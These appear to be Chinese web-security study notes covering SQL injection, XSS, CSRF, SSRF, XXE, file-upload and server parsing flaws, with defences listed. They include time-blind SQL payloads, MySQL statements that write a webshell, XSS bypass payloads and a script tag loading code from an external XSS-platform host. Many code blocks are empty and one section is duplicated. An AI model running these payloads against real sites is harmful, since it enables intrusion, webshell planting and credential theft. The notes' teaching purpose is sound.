extractvalue(xml_frag,xpath_expr)函数接受两个参数,第一个为**XML标记内容**,也就是查询的内容,第二个为**XPATH路径**,也就是查询的路径。如果没有匹配内容,不管出于何种原因,只要 xpath_expr有效,并且 xml_frag由正确嵌套和关闭的元素组成 - 返回空字符串。不区分空元素的匹配和无匹配。但是如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。
eg:
1 | |
updatexml()函数
updatexml(xml_target,xpath_expr,new_xml)接受三个参数,此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。
详细解析:updatexml函数-报错注入原理学习
¶堆叠查询注入
在分号结束后并不会结束执行,继续构造下一条语句,语句依然会被执行。union或者union all执行的语句类型有限,而堆叠注入可以执行的是任意的SQL语句。
使用条件苛刻,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query() 函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
¶基于布尔的盲注
即在页面没有错误回显时完成的注入攻击,此时我们输入的语句让页面呈现出两种状态,相当于True和False,而根据这两种状态可以判断我们输入的语句是否查询成功。
流程:
¶基于时间的盲注
基于时间的盲注也叫做延时注入,数据交互完成以后目标网站没有错误和正确的页面回显也没有布尔类型状态,此时我们可以考虑使用延时盲注其利用条件较为苛刻,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行,当然也需要构造闭合。
基础知识:
if()函数 条件判断函数
if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;
sleep()函数
网页延迟n秒后,输出结果
ascii()函数/ord()函数
将某个字符串转化为ascii值
length()函数
获取字符串的长度
substr()/substring()/mid()函数
此函数是用来截取字符串一部分。substr(column_name,start,[length]),length为可选项。
时间盲注判断
?id=1’ and sleep(10)–+
?id=1’ and if(1=2,1,sleep(10))–+
¶HTTP头部注入
常见的SQL注入一般是通过请求参数或者表单进行注入,而HTTP头部注入是通过HTTP协议头部字段值进行注入,HTTP头注入常存在于以上地方…即:User-Agent/Cookie/Referer/X-Forwarded-For
产生条件
-
能够对请求头消息进行修改
-
修改的请求头信息能够带入数据库进行查询
-
数据库没有对输入的请求信息做过滤
¶宽字节注入
宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两个自己。转移函数对这些编码进行转义时会将转义字符'\'转为**%5c**,于是我们在他们前面输入一个单字符编码与他组成一个新的多字符编码,使得原本的转义字符没有发生作用。
当某字符得大小为一个字节时,称其字符为窄字节
当某字符得大小为两个字节时,称其字符为宽字节
常见的宽字节编码:GB2312、GBK、GB18030、BIG5、Shift_JIS等
原理:
由于在数据库查询前使用了GBK多字节编码,即在汉字编码范围内使用两个字节会被编码为一个汉字(前一个ASCII码要大于128才到汉字的范围),然后MySQL服务器会对查询语句进行GBK编码,即在前面加上%df’转义函数会将%df’改成%df'而\的URL编码为%5c,那最后变成了%df%5c’并且在GBK中这两个字节对应着一个汉字"運",也就是说转义已经失去了作用,%df’被认为成運’ 成功消除了转义函数的影响
¶二阶注入
原理
二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库的字符发生了作用,形成一条新的SQL语句被执行。
¶DNSlog外带注入
在实际的应用场景中,我们一般在进行SQL盲注时,为了效率,在load_file()函数未被禁用的情况下,我们可以结合一些dnslog平台,进行外带注入;
不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因此需要使用 load_file() 函数,需要root权限,并且 secure_file_priv 需要为空。
¶GetShell
into outfile()
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个:
-
into dumpfile()
-
into outfile()
-
load_file()
-
Web目录具有写入权限,能够使用单引号
-
知道网站绝对路径(网站根目录)
-
secure_file_priv没有具体值(在mysql/my.ini中查看)
mysql注入中的outfile、dumpfile、load_file函数详解
secure_file_priv
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取(导入导出)文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
into dumpfile()和into outfile()的差异
outfile函数可以导出多行,而dumpfile只能导出一行数据。
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。
–os-shell
在SQLmap中的–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件!
条件
1.要求为数据库DBA,使用–is-dba查看当前网站连接的数据库账号是否为 mysql user表中的管理员如root,是则为dba
2. secure_file_priv没有具体值
3. 知道网站的绝对路径
在使用SQLMAP写Shell时候知道网站根目录但就是写不进去,可能是由于secure_file_priv的值为NULL那么可以使用以下方式获取这个字段值是什么
sqlmap.py -u “xxx” --sql-shell
¶SQL注入防御手段
- 函数过滤,如!is_numeric 涵数 //判断变量 id 是否为数字
- 直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360、阿里云、腾迅提供的防注入脚本
- 使用白名单过滤
- 采用 PDO 预处理
- 使用 Waf 拦截
¶问题
如果存在SQL注入怎么判断不同的数据库?
1.通过不同数据库对特定函数的处理不同
2.通过sql语法的差异
注入常用函数
version() user() database() concat() group_concat()
mysql的网站注入,5.0以上和5.0以下有什么区别?
5.0以下是多⽤户单操作,5.0以上是多⽤户多操作
5.0以下版本不存在information_schema数据库
5.0以上⽀持⼀些函数
SQL注入写shell的条件
1.数据库权限为dba(管理员权限)
2.secure_file_priv值为空
3.知道网站的绝对路径
在时间盲注时若是sleep函数被过滤怎么办?
使⽤ BENCHMARK(5000000,MD5(0x704c6b65))
站点扫不到3306端口开放是什么原因?(为何一个 mysql 数据库的站,只有一个 80 端口开放)
1.更改了数据库端口,没有扫描出来。
2.站库分离。
3.3306 端口不对外开放
mysql写shell的方式
⼀、创建数据表导入 shell
CREATE TABLE mysql.shadow9 (content TEXT NOT NULL );
INSERT INTO mysql.shadow9 (content ) VALUES (‘’);
SELECT content FROM shadow9 INTO OUTFILE ‘C:\phpStudy\WWW\90sec.php’;
DROP TABLE IF EXISTS shadow9;
⼆、⼀句话导入 shell
select ‘’ into outfile ‘c:/phpstudy/www/90sec.php’;
三、⽇志备份获取 shell
show global variables like “%genera%”; //查询 general_log 配置
set global general_log=‘on’; //开启 general log 模式
SET global general_log_file=‘D:/phpStudy/WWW/cmd.php’; //设置⽇志⽂件保存路径
SELECT ‘’; //phpinfo()写⼊⽇志⽂件
set global general_log=‘off’; //关闭 general_log 模式
¶各种数据库的注入
待补充…………
SQL注入的WAF绕过(太多了慢慢补充V)
空格字符绕过
大小写绕过
浮点数绕过注入
NULL 值绕过
引号绕过
添加库名绕过
去重复绕过
反引号绕过
脚本语言特性绕过
逗号绕过
substr 截取字符串
mid 截取字符串
使用 join 绕过
like 绕过
limit offset 绕过
or and xor not 绕过
ascii 字符对比绕过
等号绕过
双关键词绕过
二次编码绕过
多参数拆分绕过
使用生僻函数绕过
分块传输绕过
信任白名单绕过
静态文件绕过
pipline 绕过注入
利用 multipart/form-data 绕过
order by 绕过
运行大量字符绕过
花扩号绕过
使用 ALL 或者 DISTINCT 绕过
换行混绕绕过
编码绕过
HTTP 数据编码绕过
url 编码绕过
Unicode 编码绕过
union select 绕过
XSS
XSS 攻击全称跨站脚本攻击。XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。
¶基础
原理:
目标未对用户从前端功能点输入的数据与输出的内容进行处理或者处理不当,从而导致恶意的JS代码被执行造成窃取用户信息/劫持WEB行为危害的WEB漏洞!
危害:
-
网站挂马(WebShell)–>攻击型网马(Google)
-
非法转账(Cookie窃取)
-
强制发送电子邮件
-
控制受害者机器向其它网站发起攻击
-
盗窃企业重要的具有商业价值的资料
-
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
-
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
¶XSS类型
¶反射型XSS
反射型 XSS为非持久化攻击,需要欺骗用户自己去点击链接才能触发 XSS 代码,反射型 xss 攻击的方法为:攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户,当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。
漏洞挖掘点
网站的搜索栏、用户登录入口、输入表单等地方,常用来窃取客户端cookies或钓鱼欺骗。
攻击流程
- 攻击者将Payload放置在URL连接中(针对的是GET型反射XSS)
- 通过社会工程学使用户点击改恶意链接
- Web服务器将XSS代码(JavaScript代码)以及视图返回给客户端
- 客户端解析视图以及XSS代码(JavaScript代码),并执行结果发送到XSS平台
- 攻击者访问XSS平台,读取窃取到的用户敏感信息(Cookid)
¶存储型XSS
存储型 XSS为持久化攻击,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。
漏洞挖掘点
-
攻击者向Web界面插入恶意的XSS攻击代码
-
Web服务器会将其结果保存到数据库中
-
用户正常访问Web页面
-
Web页面将数据库的数据以及视图返回给前端,前端渲染并加载恶意的数据
-
客户端渲染视图,加载XSS代码并向攻击者的Web服务器发送敏感信息
-
攻击者读取用户的敏感信息
¶Dom类型XSS
DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。 DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。 在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过 DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用。
漏洞挖掘点
通过js脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
漏洞利用攻击流程
- 攻击者将Payload放置咋URL链接中(针对GET型反射XSS)
- 用户点击恶意链接,并打开浏览器
- 此时浏览器客户端并不会发起HTTP请求到WEB服务器,而是在浏览器客户端执行XSS代码
- 此时将XSS代码执行结果发送给攻击者的恶意服务器
- 攻击者访问自己的XSS平台并读取用户的敏感信息
¶XSS攻击类型区别
| XSS类型 | 存储型 | 反射型 | Dom型 |
|---|---|---|---|
| 触发过程 | 1.黑客构造XSS脚本2.正常用户访问携带XSS脚本的页面 | 正常用户访问携带XSS脚本的URL | 正常用户访问携带XSS脚本的URL |
| 数据存储 | 数据库 | URL | URL |
| 谁来输出 | 后端WEB应用程序 | 后端WEB应用程序 | 前端JavaScript |
| 输出位置 | HTTP响应中 | HTTP响应中 | 动态构造的Dom节点 |
¶Beef攻击平台
极为流行的“BeEF”框架是世界上最流行的WEB框架攻击平台,全称为“The Browser Exploitation Framework Project”。它的原理是利用XSS漏洞,通过一段编写好的JavaScript(hook.js)控制目标主机的浏览器。“BeEF”本来的意思是牛肉,这个渗透框架一直在更新中,最新的版本中添加了很多高效的功能,另外一点极为优秀的地方就是这个渗透框架还可以与Metasploit完美地结合在一起。
项目地址:http://github.com/beefproject/beef.git
Web界面管理控制台:http://127.0.0.1:3000/ui/panel。用于查看上钩的鱼儿以及对不同的目标进行管理操作
shellcode探针:http://127.0.0.1:3000/hook.js,只要有人运行该文件,就会在管理控制台上线(上钩)。
安装Beef
1 | |
Kali已经把Beef-XSS做成服务了,使用systemctl命令来启动或关闭beef服务器.
1 | |
可能需要开启apache服务
1 | |
Beef联动MSF
待补充……
¶XSS绕过
- 过滤标签
在程序里如果使用 html 实体过滤,在 php 会使用 htmlspecialchars()对输入的字符进行实体化,实体化之后的字符不会在 html 执行。把预定义的字符 “<” (小于) 和 “>” (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或 者>,这两个字符被实体化后在 html 里就不能执行了。
预定义字符:
1 | |
但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签:
<input type="text" name="username" value="" onclick="javascript:alert('xss');"/>
- 过滤Alert
用其他替换掉alert
1 | |
- GPC过滤字符
如果 gpc 开启的时候,特殊字符会被加上斜杠即,'变成' ,xss 攻击代码不要带用单引号或双引号。
绕过 gpc 在 php 高版本 gpc 默认是没有的,但是开发程序员会使用 addcslashes() 对特殊字符进行转义。
这个是执行不了的
<script src='http://www.xss123.com/JGdbsl?1623638390'></script>
没有单引号可执行
<script src=http://www.xss123.com/JGdbsl?1623638390></script>
-
Ascii编码
<script>alert(String.fromCharCode(88,83,83))</script>
//fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串
- URL编码
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
- JS编码
1 | |
- HTML编码
在=后可以解析 html 编码
1 | |
- Base64编码绕过
1 | |
-
构造事件绕过
如果不能依靠属性进行跨站,那么还可以利用事件处理函数。
<input type = "button" value = "clickme" οnclick="alert('click me')" />
事件既能让JS脚本运行,自然也可以执行跨站,另外像onerror、onMouseover等都可利用的是事件处理函数;
最后还可以使用fuzz大法去做模糊测试,然后构造payload,更事半功倍!
¶问题
- 给你一个存在XSS漏洞的网站后台,你接下来的攻击思路是什么?说一下详细的流程步骤。
- 博彩网站存在反射型的XSS,在网站首页存在在线客服的窗口,问:你该如何进行利用?
CSRF客户端请求伪造
CSRF(英语:Cross-site request forgery)跨站请求伪造(客户端请求伪造),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS利用的是用户对指定网站的信任,CSRF利用的是网站对用户网页浏览器的信任。最大的区别就是CSRF没有盗取用户的cookie,而是直接的利用了浏览器存储的cookie让用户去执行某个动作。
¶概念
由于网站对用户网页浏览器的信任导致用户在当前已登录的Web站点的状态下,访问攻击者构造的攻击连接从而执行非本意的操作的漏洞
¶危害(利用方式)
- 以受害者名义发送邮件,发消息。
- 盗取受害者的账号,甚至购买商品,虚拟货币转账。
- 修改受害者的网络配置(比如修改路由器DNS、重置路由器密码)。
- 网站后台创建管理员用户,破坏网站,获取服务器权限等。
¶条件
1.用户处于登陆目标网站的状态(Cookie)
2.用户点击攻击者发送的恶意URL连接
¶漏洞区别
XSS跨站脚本:用户的浏览器 —》 用户
CSRF客户端请求伪造:目标网站下的用户 —》 用户
¶防护
1、验证请求头中的HTTP Referer字段
2、在请求包中添加Token并验证
3、在HTTP头中自定义属性并验证
4、高危操作加入验证码机制
5、使用HTTPonly进行防护
SSRF服务端请求伪造
¶原理
由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据的Web安全漏洞!
¶危害
-
可以对外网或服务器所在内网进行端口扫描,获取一些服务的Banner信息(端口对应服务)
-
对内网 WEB 应用进行指纹识别,通过访问默认文件实现(eg:Readme文件)
-
对主机本地敏感数据的读取(eg: file:///c:/win.ini/ or hosts)
-
内外网主机应用程序漏洞的利用(FTP/Redis/EMAIL)
-
内外网Web站点漏洞的利用(gopher://Ip or Domain/_GET/POST)
¶SSRF利用协议
-
PHP:访问各个输入/输出流(I/O streams),可BASE64编码形式读取PHP文件。
-
file:在有回显的情况下,利用 file 协议可以读取任意文件的内容。
-
dict:dict协议可以用来探测开放的端口其泄露安装软件版本信息/查看端口/操作内网redis服务等。
-
http/s:访问 HTTP/S网址以此来探测内网主机存活。
-
gopher:通过gopher访问对应计算机上的其他资源,支持发出GET/POST请求。是SSRF利用中一个最强大的协议(俗称万能协议)。可用于反弹shell!
¶高危函数
cur_exec():执行给定的curl会话…这个函数应该在初始化一个curl会话并且全部的选向都被设置后调用…
file_get_content():函数的作用是将整个文件读入一个字符串中,并且此函数是用于把文件的内容读入到一个字符串中的首选方法
fsockopen():打开一个网络连接或套接字连接
1.使用fsockopen函数实现获取用户制定url的数据(文件或者html)。
2.这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
3.fsockopen本身就是打开一个网络连接或者Unix套接字连接。
¶漏洞验证方式
1、排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞
2、dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)
3、抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址
- 从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
- 通过二级域名暴力猜解工具模糊猜测内网地址
- 通过file协议读取内网信息获取相关地址
4、直接返回的Banner、title、content等信息
5、留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。
¶漏洞利用方式
能扫描内部网络,获取端口,服务信息。
攻击运行在内网或本地的应用程序。
对内网web进行指纹识别。
对内部主机和端口发送请求包进行攻击。
file协议读取本地文件。
¶SSRF漏洞挖掘点
社交分享功能:获取超链接的标题等内容进行显示
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
数据库内置功能:数据库的比如mongodb的copyDatabase函数
邮件系统:比如接收邮件服务器地址
编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
¶SSRF绕过
待补充……
¶漏洞防御
- 禁止跳转;
- 限制请求的端口为 http 常用的端口,比如 80、443、8080、8090;
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态;
- 设置 URL 白名单或者限制内网 IP(使用 gethostbyname()判断是否为内网 IP);
- 禁用不需要的协议,仅仅允许 http 和 https 请求。可以防止类似于 file://, gopher://, ftp:// 等引 起的问题;
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的 文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准;
¶问题
1.XSS/CSRF/SSRF之间的区别?
2.造成SSRF漏洞的高危函数是?
curl_exec()
file_get_contents
fsackopen
3.SSRF打内网Redis思路及手法?
通过 SSRF 的 gopher 协议操作内⽹的 redis
4.SSRF绕过与防御手法?
@ 绕过
[::]或者localhost或者0.0.0.0 绕过
添加端⼝号绕过
特殊域名dns解析
进制转换
句号
302短链接跳转
如何判断是ssrf还是url跳转漏洞?
dnslog判断ip是否是本机ip
XML外部实体注入
¶原理
XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行、内网扫描等危害。
¶利用条件
- libxml<2.9 默认开启
¶基础知识
XML文档结构包括XML声明,DTD(文档类型定义),文档元素三部分构成!
XML是可扩展标记语言(Extensible Markup Language),是设计用来进行数据的传输与存储。
XML特性
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
- XML 是不作为的
- XML 仅仅是纯文本
- XML 可以发明自己的标签
- XML 是对 HTML 的补充
DTD,即
Document Type Definition,文档类型定义的简称,是一种精确描述XML语言的方式。DTD根据XML语言的语法规则检查XML文档结构的词汇和有效性。DTD主要用于保证XML文档格式正确,我们可以通过比较XML文档和DTD文件来看文档是否合乎规范,元素和标签使用是否正确。备注:我们可以在XML文档中指定DTD,即
内部DTD。也可以将DTD保存在单独的以.dtd扩展名的文档中,然后单独添加,这样即外部DTD。
¶内部DTD
¶外部DTD
¶实体
实体是对数据的引用,通常使用<!ENTITY>标签定义;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用,它主要分为以下四类:
- 内置实体 (Built-in entities)
- 字符实体 (Character entities)
- 通用实体 (General entities)
- 参数实体 (Parameter entities)
》》》实体类型-按类型《《《
实体又分为通用实体和参数实体。
- 通用实体
- 用 &实体名;引用,在DTD 中定义(内外DTD都行),在 XML文档元素中引用。
- 参数实体
- 使用 % 实体名;(中间有空格) 在DTD中定义(内外DTD都行),并且只能在DTD中使用 %实体名; 引用。
- 在 DTD 文件中,参数实体的声明可以引用其他实体(参数实体和通用实体)。
》》》实体类型-按位置《《《
根据实体位置定义位置的不同分为内部实体和外部实体,其中:
内部实体:在DTD中声明实体,则称为内部实体。
外部实体:如果在DTD之外声明实体,则称为外部实体。
¶漏洞挖掘
手工挖掘
- 关注提交数据的类型。如果是XML格式的,就可以进行测试。
- 关注数据包的Content-Type值。如果是text/xml或者是application/xml,就可以关注该数据包。还可以尝试更改
Content-Type值,例如原来的Content-type是json,发送的也是json格式的数据,我们将Content-Type类型改为XML,数据也改为XML后,尝试是否可以成功。
¶漏洞修复
方式一:使用开发语言提供的禁用外部实体的方法
- PHP
1 | |
- Java
1 | |
- Python
1 | |
方式二:过滤用户输入
1 | |
¶实例
CVE-2017-12629 XXE 漏洞
fofa:app=“APACHE-Solr”
待补充………………
文件上传漏洞
¶原理
文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。如常见的头像上传,图片上传,oa 办公文件上传,媒体上传,允许用户上传文件,如果过滤不严格,恶意用户利用文件上传漏洞,上传有害的可以执行脚本文件到服务器中, 可以获取服务器的权限,或进一步危害服务器。
¶危害
非法用户可以上传的恶意文件控制整个网站,甚至是控制服务器,这个恶意脚本文件,又被称为 webshell, 上传 webshell 后门很方便地查看服务器信息,查看目录,执行系统命令等。
¶文件上传代码
文件上传时会返回一些代码 返回客户端 客户端根据这些值判断上传是否正常
-
值:0; 没有错误发生,文件上传成功。
-
值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
-
值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
-
值:3; 文件只有部分被上传。
-
值:4; 没有文件被上传。
¶文件上传漏洞原因
文件上传漏洞分为:
直接文件上传(任意文件上传),这种漏洞类型是属于高危漏洞的一种,能直接 getshell,而且没有任 何限制,攻击者很容易通过上传点,获取网站的控制权限;
另外一种是有条件的上传漏洞,这种漏洞一般 是开发者经验不足,对文件上传做了简单的限制,如简单的前端认证,文件头文件检测,这种检测行为, 可以完全绕过的;
另外一个方面就是权限认证没处理,没有对文件上传页面进行权限认证,匿名者就能访问上传文件,上传网页后门到网站目录,控制整个网站;
还有一些上传逻辑有问题,导致文件上传可以被绕过,上传后门到网站上。有的文件上传漏洞则是通过中间件或者系统特性上传可以被服务器解析脚本文件,从而导致网站可被控制;
¶修复
- 在网站中需要存在上传模块,需要做好权限认证,不能让匿名用户可访问;
- 文件上传目录设置为禁止脚本文件执行。这样设置即使被上传后门的动态脚本也不能解析,导致攻击 者放弃这个攻击途径;
- 设置上传白名单,白名单只允许图片上传如,jpg png gif 其他文件均不允许上传;
- 上传的后缀名,一定要设置成图片格式如 jpg png gif ;
¶攻击思路
寻找测试网站的文件上传的模块,常见:头像上传,修改上传,文件编辑器中文件上传,图片上传、媒体上传等,通过抓包上传恶意的文件进行测试,上传后缀名 asp php aspx 等的动态语言脚本,查看上传时的返回信息,判断是否能直接上传,如果不能直接上传,再进行测试上传突破,例如上传文件的时候只允许图片格式的后缀,但是修改文件时,却没有限制后缀名,图片文件可以修改成动态语言格式如 php,则可能访问这个文件的 URL 直接 getshell,可以控制网站。
¶常见的网站文件后缀名
1 | |
¶文件上传绕过技术
1 | |
待细节补充………………
¶文件上传漏洞通用检测方法
判断是否为黑白名单,如果是白名单,寻找可控参数。如果是黑名单禁止上传, 可以用有危害的后缀名批量提交测试,寻找遗留的执行脚本.
1 | |
- 使用 burpsuite 抓包上传将后缀名设置成变量,把这些文件设置成一个字典批量提交;
¶文件上传的防御方法
- 服务器端使用白名单防御;
- 修复 web 中间件的漏洞;
- 禁止客户端存在可控参数;
- 存放文件目录禁止脚本执行;
- 限制后缀名;
- 一定要设置图片格式 jpg、gif 、 png 文件名随机的,不可预测;
文件解析漏洞
¶原理
文件解析漏洞是由于中间件错误的将任意格式的文件解析成网页可执行文件,配合文件上传漏洞进行GetShell的漏洞!
¶IIS解析漏洞
¶IIS6.X
方式一:目录解析
在网站下建立文件夹的名字为 .asp/.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
方式二:畸形文件解析
在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是shell.asp。另外IIS6.0默认的可执行文件除了asp还包含asa\cer\cdx
¶IIS7.X
在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将
**/xx.jpg/xx.php**解析为 php 文件。
利用条件
-
php.ini里的cgi.fix_pathinfo=1 开启
-
IIS7在Fast-CGI运行模式下
¶修复方式
程序方面
1、对新建目录文件名进行过滤,不允许新建包含.的文件夹。
2、取消网站后台新建目录的功能,不允许新建目录。
服务器方面
1、限制上传目录的脚本执行权限,不允许执行脚本。
2、过滤.asp/xm.jpg,通过ISApi组件过滤。 在httpd.ini加入了以下规则 ASP RewriteRule (.).asp/(.) /no.gif RewriteRule (.).Asp/(.) /no.gif RewriteRule (.).aSp/(.) /no.gif RewriteRule (.).asP/(.) /no.gif
¶Nginx解析漏洞
¶nginx_parsing
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将 /xx.jpg/xx.php 解析为 php 文件。
》》》利用条件《《《
- Nginx <=0.8.37
- cgi.fix_pathinfo=1
》》》利用姿势《《《
Nginx的文件解析漏洞…和IIS7.0的解析漏洞同样的原理,因为cgi.fix_pathinfo=1造成的解析漏洞…
PS:同样使用1.jpg/.php方式进行绕过…
¶CVE-2017-15715
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
》》》影响版本《《《
- 2.4.0~2.4.29
¶Apache解析漏洞
¶apache_parsing
在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。如1.php.xxxxx
》》》漏洞原理《《《
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如如下配置文件:
1 | |
其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:
1 | |
那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
¶CVE-2017-15715
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
》》》影响版本《《《
- 2.4.0~2.4.29
文件包含漏洞
